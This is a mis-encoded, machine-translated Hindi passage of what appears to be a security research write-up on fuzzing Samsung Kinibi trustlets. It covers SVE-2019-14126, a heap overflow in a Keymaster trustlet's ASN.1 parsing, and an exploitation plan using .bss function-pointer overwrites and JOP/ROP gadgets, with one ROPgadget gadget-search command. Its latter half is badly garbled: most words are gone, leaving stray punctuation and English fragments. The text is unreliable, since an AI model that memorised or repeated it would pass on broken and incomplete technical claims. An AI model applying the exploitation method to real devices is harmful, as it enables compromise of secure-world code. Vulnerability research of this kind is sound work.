рд╣реИрдВ рдЬреЛ рдПрдХ рд╣реА рд╕реНрдерд╛рди рдкрд░ рджреБрд░реНрдШрдЯрдирд╛ рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВред рдкрд░реАрдХреНрд╖рдг рдорд╛рдорд▓реЛрдВ рдХреА рдЕрддрд┐рд░реЗрдХ рдХреЛ рджреВрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк afl-cmin рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рднреА рдЯреНрд░реИрд╕реНрдЯрд▓реЗрдЯреНрд╕ рд╕реЗ рдЧреБрдЬрд░рдиреЗ рдХреЗ рдмрд╛рдж, 225 рдорд╛рдорд▓реЛрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ред рд╡реИрд╕реЗ рднреА, рдмрд╣реБрдд рдХреБрдЫ! рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ рдЕрдкрдиреЗ рдХрд╛рдо рдХреЛ рдЖрд╕рд╛рди рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдордиреЗ рдбрд╛рдпрдиреЗрдорд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛, рдЬреЛ рдХрд┐рд╕реА рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рддреНрд░реБрдЯрд┐ рдФрд░ рдЗрд╕рдХреЗ рдХрд┐рд╕реА рднреА рдЧреБрдг рдХреЛ рдкрд╣рдЪрд╛рдирдиреЗ рдореЗрдВ рдЕрдзрд┐рдХ рдорджрдж рдХрд░реЗрдЧрд╛ред рдЗрд╕рд╕реЗ рдмрдЧреЛрдВ рдХреА рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдФрд░ рдЗрд╕рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреА рдЬрдЯрд┐рд▓рддрд╛ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдорд┐рд▓реЗрдЧреАред
рдЗрд╕рд▓рд┐рдП, рдХреБрдЫ рдкреНрд░рдХрд╛рд░ рдХреЗ рдЧрддрд┐рд╢реАрд▓ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рдХрдо рд╕реЗ рдХрдо рдЕрдкрдиреЗ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреЛ рдореВрд▓ рдПрдЖрд░рдПрдо рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдЪрд▓рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рди рдХрд┐ рдХреНрдпреВрдореВ рд╡рд░реНрдЪреБрдЕрд▓рд╛рдЗрдЬреЗрд╢рди рдХреЗ рддрд╣рддред рдЗрд╕рдХреЗ рд▓рд┐рдП Linux рдпрд╛ Android рдЙрдкрдпреБрдХреНрдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
рдЕрдВрдХ 3: рдЦрдВрдбрд╣рдордиреЗ рд▓рд┐рдирдХреНрд╕ рдХреЗ рд╕рд╛рде 32-рдмрд┐рдЯ рд╕рд┐рд╕реНрдЯрдо рд▓реЗрдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛, рдХреНрдпреЛрдВрдХрд┐ 32-рдмрд┐рдЯ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕, рдФрд░ рд▓рд┐рдирдХреНрд╕ рдЕрдзрд┐рдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ рдПрдВрдбреНрд░реЙрдЗрдб рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрдзрд┐рдХ рдЧрддрд┐рд╢реАрд▓ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЙрдкрдХрд░рдг рд╣реИрдВред рдФрд░ рдпрд╣рд╛рдБ рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ рдЬрдм рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╣рдорд╛рд░реЗ рдХрд▓реНрдкрд┐рдд рдмреМрдиреЗ рддреБрд░рдВрдд рдПрдХ рд╕реЗрдЧрдореЗрдВрдЯреЗрд╢рди рджреЛрд╖ рдЬрд╛рд░реА рдХрд░рддреЗ рд╣реИрдВред
рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рд╕рдорд╕реНрдпрд╛ рд╣рдорд╛рд░реЗ рдмрд╛рдпрдиреЗрд░рд┐рдЬрд╝ рдХреА рдЕрд╕рд╛рдорд╛рдиреНрдпрддрд╛ рд╣реИред рдЙрдиреНрд╣реЗрдВ рдмрдирд╛рддреЗ рд╕рдордп, рдЖрдкрдХреЛ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рдЕрдиреБрднрд╛рдЧреЛрдВ рдХреЛ рд╡рд╛рдВрдЫрд┐рдд рдкрддреЗ рдкрд░ рд░рдЦрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬрд╣рд╛рдВ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рдХреЛрдб рдЕрдиреБрднрд╛рдЧ рдХрд╛ рдкрддрд╛ рд╣рдореЗрд╢рд╛ 0x1000 рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкрд╣рд▓рд╛ рдЦрдВрдб рд╣реИ, рдФрд░ рдЗрд╕рдХреЗ рд╕рд╛рдордиреЗ рдЕрднреА рднреА 0x0 рдкрд░ ELF рд╣реИрдбрд░ рд╣реИред рдФрд░ рд▓рд┐рдирдХреНрд╕ рдкрд░, рдкрддрд╛ рд╕реНрдерд╛рди рдХреЗ рдкрд╣рд▓реЗ рджреЛ рдкреГрд╖реНрда, 0x2000 рдкрддреЗ рддрдХ, рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЖрд░рдХреНрд╖рд┐рдд рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЬрдм рд▓реЛрдбрд░ рд╡рд╣рд╛рдВ рдПрдХ рдЕрдиреБрднрд╛рдЧ рдХреЛ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдПрдХ рддреНрд░реБрдЯрд┐ рд╣реЛрддреА рд╣реИред
рдЬреИрд╕рд╛ рдХрд┐ рдпрд╣ рдирд┐рдХрд▓рд╛, рдЗрд╕ рд╕реНрдерд┐рддрд┐ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рд╣реИред 64-рдмрд┐рдЯ рдХрд░реНрдиреЗрд▓ рдкрд░, рд╕реНрдореГрддрд┐ рдореЗрдВ рдкрд╣рд▓реЗ рдкреГрд╖реНрдареЛрдВ рдХрд╛ рдРрд╕рд╛ рдЖрд░рдХреНрд╖рдг рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рд╡рд░реНрдЧреЛрдВ рдХреА рдпрд╣ рд╡реНрдпрд╡рд╕реНрдерд╛ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддреА рд╣реИред рдЪреВрдВрдХрд┐ рд╣рдорд╛рд░реА рдлрд╛рдЗрд▓реЗрдВ 32-рдмрд┐рдЯ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдкрд╣рд▓реЗ 64-рдмрд┐рдЯ рд╕рд┐рд╕реНрдЯрдо рдкрд░ 32-рдмрд┐рдЯ рд╡рд╛рддрд╛рд╡рд░рдг рдмрдирд╛рдирд╛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИред рдЗрди рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП debootstrap
рдкреИрдХреЗрдЬ рдмрдврд╝рд┐рдпрд╛ рд╣реИред
рд╕рдорд╕реНрдпрд╛ рд╕рдВрдЦреНрдпрд╛ 4: рдХреЛрдИ рдЙрдкрдХрд░рдг рдирд╣реАрдВрдЕрдм рдЬрдм рд╣рдорд╛рд░реЗ рдкреБрди: рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдореВрд▓ рдПрдЖрд░рдПрдо рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╣рдореЗрдВ рдЙрди рдкрд░ рдЧрддрд┐рд╢реАрд▓ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЙрдкрдХрд░рдг рдЖрдЬрд╝рдорд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдЧрддрд┐рд╢реАрд▓ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рддрд░реАрдХреЛрдВ рдореЗрдВ рдбреАрдмрдЧрд┐рдВрдЧ рдФрд░ рдбрд╛рдпрдиреЗрдорд┐рдХ рдмрд╛рдЗрдирд░реА рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди (рдбреАрдмреАрдЖрдИ) рд╣реИрдВред рдЬреАрдбреАрдмреА рдкрд╣рд▓реЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рд╣реИред рдФрд░ рджреВрд╕рд░реЗ рдХреЗ рд▓рд┐рдП, рдмрд╣реБрдд рд╕рд╛рд░реЗ рд╡рд┐рдХрд▓реНрдк рдирд╣реАрдВ рд╣реИрдВ: рдПрдЖрд░рдПрдо рдХреЗ рддрд╣рдд, рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ рдХреЗрд╡рд▓ рддреАрди рд╕реНрдерд┐рд░ рдбреАрдмреАрдЖрдИ рдлреНрд░реЗрдорд╡рд░реНрдХ рд╣реИрдВ - рдбрд╛рдпрдирдореЛрдЗрд░реЛ, рд╡реЗрд▓рдЧреНрд░рд┐рдВрдб, рдФрд░ рдлреНрд░рд┐рдбрд╛ред рдкрд╣рд▓реЗ рдореЗрдВ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЛ рдЯреНрд░реЗрд╕ рдХрд░рдиреЗ рдФрд░ рдкрдХрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдЕрдЪреНрдЫреЗ рдЙрдкрдХрд░рдг рд╣реИрдВ, рд▓реЗрдХрд┐рди рдИрдПрд▓рдПрдл рдлрд╝рд╛рдЗрд▓ рд▓реЛрдбрд░, рдЬрд┐рд╕реЗ рдЗрд╕рдореЗрдВ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд╣рдорд╛рд░реА рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рд╕рд╛рдордирд╛ рдирд╣реАрдВ рдХрд░ рд╕рдХрд╛ред Valgrind рдПрдХ рдХрд╛рдлреА рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдврд╛рдВрдЪрд╛ рд╣реИ, рдФрд░ рдЗрд╕рдореЗрдВ рд╕реНрдореГрддрд┐ рд╕рдВрдЪрд╛рд▓рди рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП рдЯреНрд░реЗрд╕рд┐рдВрдЧ рдФрд░ рдореЗрдордЪреЗрдХ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдЙрдкрдХрд░рдг рд╣реИред рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рд╡реЗ рдРрд╕реЗ рдкрд░рд┐рдгрд╛рдо рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдирд╣реАрдВ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рд╡реЗ рдХрдИ рдлрд╛рдЗрд▓реЛрдВ рдкрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдореЛрдб рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдирд╣реАрдВ рд╣реИрдВред рдФрд░ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдлреНрд░рд┐рдбрд╛ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рдирд╣реАрдВ рдерд╛ред рдпрджрд┐ рдХрд┐рд╕реА рдХреЛ рдПрдЖрд░рдПрдо рдкрд░ рд▓рд┐рдирдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдЕрдиреБрднрд╡ рдерд╛, рддреЛ рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдореЗрдВ рдЕрдкрдиреЗ рдЗрдВрдкреНрд░реЗрд╢рди рд▓рд┐рдЦреЗрдВред
рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдо рдХреЗрд╡рд▓ рдбрд┐рдмрдЧрд░ рдХреЗ рд╕рд╛рде рд╕рдВрддреБрд╖реНрдЯ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди gdb рдХреЗ рд▓рд┐рдП рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдпрд╣ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╣рдорд╛рд░реЗ рдХрд╛рдо рдХреЛ рдмрд╣реБрдд рд╕рд░рд▓ рдХрд░рддрд╛ рд╣реИред
рдЕрдВрдХ # 5: рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдХрд╛рд░реНрдпрдПрдХ рдФрд░ рд╕рдорд╕реНрдпрд╛ рдЬреЛ рд╢реБрд░реВ рд╕реЗ рд╕реНрдкрд╖реНрдЯ рдереА, рд╡рд╣ рдереА рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдлрд╝рдВрдХреНрд╢рдВрд╕ рдЬреЛ рдЯреНрд░реИрд╕реНрдЯрд▓реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рд╣рдордиреЗ рдЙрдиреНрд╣реЗрдВ рд╕реНрдЯрдмреНрд╕ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛, рдЙрди рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдЕрдкрд╡рд╛рдж рдХреЗ рд╕рд╛рде рдЬрд┐рдиреНрд╣реЗрдВ рд▓рд┐рдмреЗрдХ рд╕реЗ рд╕рдорд╛рди рдХреЗ рд╕рд╛рде рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЬрд╛рд╣рд┐рд░ рд╣реИ, рдЕрдЧрд░ рдЯреНрд░реИрд╕реНрдЯрд▓реЗрдЯ рдХреЗ рддрд░реНрдХ рдореЗрдВ рдХреБрдЫ рдХреЛрдб рдЗрди рд╕реНрдЯрдм рдлрд╝рдВрдХреНрд╢рдВрд╕ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдПрдХ рдХреЗ рдкрд░рд┐рдгрд╛рдо рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдмрд╣реБрдд рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рдпрд╣ рджреБрд░реНрдШрдЯрдирд╛рдЧреНрд░рд╕реНрдд рд╣реЛ рдЬрд╛рдПрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЕрд▓рдЧ рдбреЗрдЯрд╛ рдХреА рдЙрдореНрдореАрдж рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рдЬрд░реВрд░реА рдирд╣реАрдВ рдХрд┐ рдХреЛрдб рдореЗрдВ рдПрдХ рддреНрд░реБрдЯрд┐ рдХрд╛ рдорддрд▓рдм рд╣реЛрдЧрд╛ред
рдРрд╕реЗ рдХреБрдЫ рдХрд╛рд░реНрдп рд╣реИрдВ рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдХрд╛рд░реНрдп рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдирд╛ рдЗрддрдирд╛ рдЖрд╕рд╛рди рдирд╣реАрдВ рд╣реИ:
- tlApiSecSPICmd;
- tlApi_callDriver;
- tlApiWrapObjectExt;
- tlApiUnWrapObjectExt;
- tlApiCipherDoFinal;
- tlApiSignatureSign;
- ...
рдЗрд╕ рддрд░рд╣ рдХреЗ рд╕рдВрджрд┐рдЧреНрдз рдорд╛рдорд▓реЛрдВ рдХрд╛ рдЕрдзреНрдпрдпрди рдХрд░рдиреЗ рдореЗрдВ рд╕рдордп рдмрд░реНрдмрд╛рдж рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдордиреЗ рдмрд╕ рдЗрди рдорд╛рдорд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкрд░реАрдХреНрд╖рдг рдорд╛рдорд▓реЛрдВ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдирд╣реАрдВ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ред
рдлрд╝рдЬрд╝рд┐рдВрдЧ рдкрд░рд┐рдгрд╛рдо
рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдореЛрдб рдореЗрдВ, рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╣рдордиреЗ рд╕рднреА рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдкрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХреА:
- рдЯреНрд░реЗрд▓рд┐рдб рдпреВрдЖрдИрдбреА
- рджреБрд░реНрдШрдЯрдирд╛ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛;
- рддреНрд░реБрдЯрд┐ рдХрд╛ рдкреНрд░рдХрд╛рд░ (рджреБрд░реНрдШрдЯрдирд╛ рдХреЗ рджреМрд░рд╛рди рд╕рдВрдХреЗрдд рдХрд╛ рдкреНрд░рдХрд╛рд░);
- рд╡рд╣ рдкрддрд╛ рдЬрд╣рд╛рдБ рддреНрд░реБрдЯрд┐ рд╣реЛрддреА рд╣реИ
- Trastlet рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП API рдлрд╝рдВрдХреНрд╢рдиред
рдЬреИрд╕рд╛ рдХрд┐ рдпрд╣ рдирд┐рдХрд▓рд╛, рдпрд╣ рдкреВрд░реА рдЬрд╛рдирдХрд╛рд░реА рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдбрд╛рд▓рдирд╛ рдмрд╣реБрдд рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИ, рдФрд░ рдлрд┐рд░ SQL рдкреНрд░рд╢реНрдиреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдорд╛рдорд▓реЛрдВ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдФрд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЬрд╛рдирдХрд╛рд░реА рдЬреЛрдбрд╝реЗрдВред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕ рдХреНрд╡реЗрд░реА рдХреЗ рд╕рд╛рде рдЖрдк рд╕рднреА рдкрд░реАрдХреНрд╖рдг рдорд╛рдорд▓реЛрдВ рдХреЛ рджрд┐рдЦрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рди рдкрд░ рд╕реЗрдЧрдореЗрдВрдЯреЗрд╢рди рдЧрд▓рддреА рд╣реЛрддреА рд╣реИ:
select * from main where type = "SIGSEGV";
рдФрд░ tlApiSecSPICmd
рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкрд░реАрдХреНрд╖рдг рдорд╛рдорд▓реЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░реЗрдВ, рдЬрд┐рд╕реЗ рд╣рдордиреЗ рд╕реНрдЯрдм рдХреЗ рд░реВрдк рдореЗрдВ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рд╣реИ:
select * from main where api not like "tlApiSecSPICmd";
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╕рднреА рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА рддреНрд░реБрдЯрд┐рдпрд╛рдВ рдкрд╛рдИ рдЧрдИрдВред рдЙрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдиреЗрддреГрддреНрд╡ рдирд╣реАрдВ рдХрд░рддреЗ рдереЗ, рд▓реЗрдХрд┐рди рдРрд╕реЗ рднреА рдереЗ рдЬреЛ рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рд╣реИрдВ рдФрд░ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдкрд╛рдпрд╛ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред
SVE-2,019-14,126

DER рдирд┐рдпрдореЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдПрдиреНрдХреЛрдбреЗрдб ASN.1 рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рддреЗ рд╕рдордп рдЯреАрд╕реАрдЖрдИ рдмрдлрд░ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдбрдорд╛рд╕реНрдЯрд░ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдкрд╛рдИ рдЧрдИ рдереАред рдЗрд╕ рд╕рдВрд░рдЪрдирд╛ рдореЗрдВ рджреЛ рдХреНрд╖реЗрддреНрд░реЛрдВ рдХреЛ рдЖрдпрд╛рдореЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: рдПрдХ рдЬрдм рдЧрддрд┐рд╢реАрд▓ рдореЗрдореЛрд░реА рдХреЛ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рджреВрд╕рд░рд╛ рдЗрд╕реЗ рдХреЙрдкреА рдХрд░рддреЗ рд╕рдордпред рдЬрд╛рд╣рд┐рд░ рд╣реИ, рдЕрдЧрд░ рджреВрд╕рд░рд╛ рдЖрдХрд╛рд░ рдкрд╣рд▓реЗ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдмрдбрд╝рд╛ рд╣реИ, рддреЛ рдвреЗрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдХреА рднреЗрджреНрдпрддрд╛ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдЬрдиреНрдо рджреЗрддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдордиреЗ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреВрд░реНрдг рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреАред рд╢реЛрд╖рдг рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХрд╛ рдЖрдХрд▓рди рдХрд░рддреЗ рд╕рдордп, рдХрд┐рд╕реА рдХреЛ рдКрдкрд░ рд╕реВрдЪреАрдмрджреНрдз рдЯреНрд░рд╕реНрдЯреЛрдВ рдХреЗ рд╕рднреА рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рднреА рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдирд╛ рдЪрд╛рд╣рд┐рдПред
рдПрдХ рдвреЗрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдФрд░ рдЗрди рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдХреЛрдИ рд╡реНрдпрдХреНрддрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдСрдкрд░реЗрд╢рди рд░рдгрдиреАрддрд┐ рдХреА рдХрд▓реНрдкрдирд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
- рдкреБрдирд░реНрд▓реЗрдЦрди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реБрд▓рдн рдЬрдЧрд╣ рдореЗрдВ рдХреБрдЫ рдлрд╝рдВрдХреНрд╢рди рдкреЙрдЗрдВрдЯрд░ рдвреВрдВрдвреЗрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, .bs рдЕрдиреБрднрд╛рдЧ;
- рдкрд╛рдпрд╛ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЗрд╕ рдЬрдЧрд╣ рдореЗрдВ рдвреЗрд░ рдореЗрдореЛрд░реА рдмреНрд▓реЙрдХ рдмрдирд╛рдПрдВ;
- ;
- .
, , , Kinibi. - mclib, ZeroCon, .
тАФ .bss. , .bss . , , , , .

, .bss, .
, . , , , , .bss, . code-reuse.
ROP. , ROP, .bss. , , . , , . , , , .
ROP, JOP. JOP тАФ Jump Oriented Programming. JOP .
JOP , ROPGadget. , JOP, :
ROPgadget --binary tlrun --thumb --range 0x1000-0xbeb44 | grep -E "; b.+ r[0-9]+$"
! .

. ROP . , ROP- weird machine , . JOP , . ARM, , , тАФ LDMIA (Load Memory Increment Address).

, , , , . , . JOP!
LDMIA . - capstone, ROPGadget, LDMLO.

! . , , . stack cookie , .
